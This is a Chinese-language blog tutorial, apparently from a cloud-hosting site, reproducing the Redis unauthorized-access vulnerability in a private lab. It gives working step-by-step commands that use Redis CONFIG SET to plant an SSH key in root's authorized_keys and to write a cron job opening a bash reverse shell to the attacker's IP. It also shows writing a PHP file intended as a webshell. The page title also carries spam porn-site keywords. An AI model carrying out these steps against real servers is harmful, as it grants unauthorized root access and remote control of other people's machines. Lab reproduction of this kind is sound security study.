91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

redis漏洞復現的示例分析

發布時間:2022-01-05 17:50:08 來源:億速云 閱讀:188 作者:小新 欄目:安全技術

這篇文章給大家分享的是有關redis漏洞復現的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

一、漏洞簡介

什么是redis

和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集 合)、zset(sorted set --有序集 合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。redis 是一個高性能的key-value數據庫。redis的出現,很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。

redis未授權訪問漏洞

redis 默認情況下,會綁定在 0.0.0.0:6379,,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作。

漏洞的產生條件有以下兩點:

(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網;(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。

本次復現主要是:

1. Redis以root身份運行,給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器2.將文件寫入周期性計劃任務,然后接受反彈shell3.如果搭建了web服務器,寫入webshell,控制服務器(此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改)

準備環境:

攻擊機(kali):192.168.163.131(需要自己搭建redis-cli,和服務器端搭建步驟一樣)靶機(centos):192.168.163.132

二、環境搭建

(1)下載redis壓縮包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

redis漏洞復現的示例分析

(2)將壓縮包放入指定路徑,并且進入指定路徑

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gzcd redis

redis漏洞復現的示例分析

(3)解壓壓縮包,進入指定路徑redis-2.8.17,進行安裝

tar xzf redis-2.8.17.tar.gzcd redis-2.8.17make

redis漏洞復現的示例分析

(4)進入到src路徑下

redis漏洞復現的示例分析

(5)將redis-server和redis-cli拷貝到/usr/bin目錄下,后續方便直接啟動redis服務器并且將redis-2.8.17目錄下面的redis.conf拷貝到/etc下面

cp redis-server /usr/bincp redis-cli /usr/bincp redis.conf /etc/redis.conf

redis漏洞復現的示例分析

(6)啟動服務

redis-server /etc/redis.conf

redis漏洞復現的示例分析

三、漏洞復現

3.1 利用“公私鑰”認證獲得root權限

(1)未授權訪問連接(無法連接)

redis-cli -h 192.168.163.132

redis漏洞復現的示例分析

(2)因為是本地搭建,沒有開啟6379端口對外開放,此處為了方便,直接關閉服務器(靶機)的防火墻

/etc/init.d/iptables stop

redis漏洞復現的示例分析

(3)kali攻擊機未授權訪問連接

redis-cli -h 192.168.163.132keys *

redis漏洞復現的示例分析

(4)在攻擊機中生成ssh公鑰和私鑰,密碼設置為空:

ssh-keygen -t rsa

redis漏洞復現的示例分析

(5)進入.ssh目錄,將生成的公鑰保存到1.txt:

cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

redis漏洞復現的示例分析

(6)將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

redis漏洞復現的示例分析

(7)并使用 CONFIG GET dir 命令得到redis備份的路徑:

CONFIG GET dir

redis漏洞復現的示例分析

(8)更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh),并且修改上傳公鑰文件的名稱為authorized_keys

config set dir /root/.sshCONFIG SET dbfilename authorized_keys

redis漏洞復現的示例分析

(9)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機:

CONFIG GET dbfilenamesave

redis漏洞復現的示例分析

(10)查看服務器端已經成功寫入

redis漏洞復現的示例分析

(11)攻擊機成功登陸到服務器

ssh -i id_rsa root@192.168.163.132

redis漏洞復現的示例分析

3.2利用crontab反彈shell

在權限足夠的情況下,利用redis寫入文件到周期性計劃任務執行。(1)在kali攻擊機里面監聽指定端口

nc -lvnp 8888

redis漏洞復現的示例分析(2)向服務器寫入文件

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

redis漏洞復現的示例分析

(3)查看服務器端的寫入情況

redis漏洞復現的示例分析

(4)Kali攻擊機已經可以連接了(得到了反彈shell)

redis漏洞復現的示例分析

3.3寫入webshell

此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改,將文件寫入web路徑(1)寫入文件到/tmp目錄

config set dir /tmpconfig set dbfilename shell.phpset webshell "<?php phpinfo(); ?>"save

redis漏洞復現的示例分析

(2)查看服務器

redis漏洞復現的示例分析

備注:寫入webshell的時候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。

感謝各位的閱讀!關于“redis漏洞復現的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

奉化市| 绵竹市| 依安县| 吉木乃县| 靖远县| 东乌珠穆沁旗| 古交市| 彰化市| 吴桥县| 永仁县| 漯河市| 周至县| 旌德县| 郁南县| 府谷县| 通化县| 惠安县| 仪陇县| 龙州县| 渭源县| 南投市| 庆城县| 金川县| 昭平县| 荣昌县| 建宁县| 玛沁县| 南溪县| 鹰潭市| 报价| 曲靖市| 尤溪县| 土默特左旗| 普兰县| 祥云县| 浦江县| 边坝县| 铅山县| 晋宁县| 青海省| 榆社县|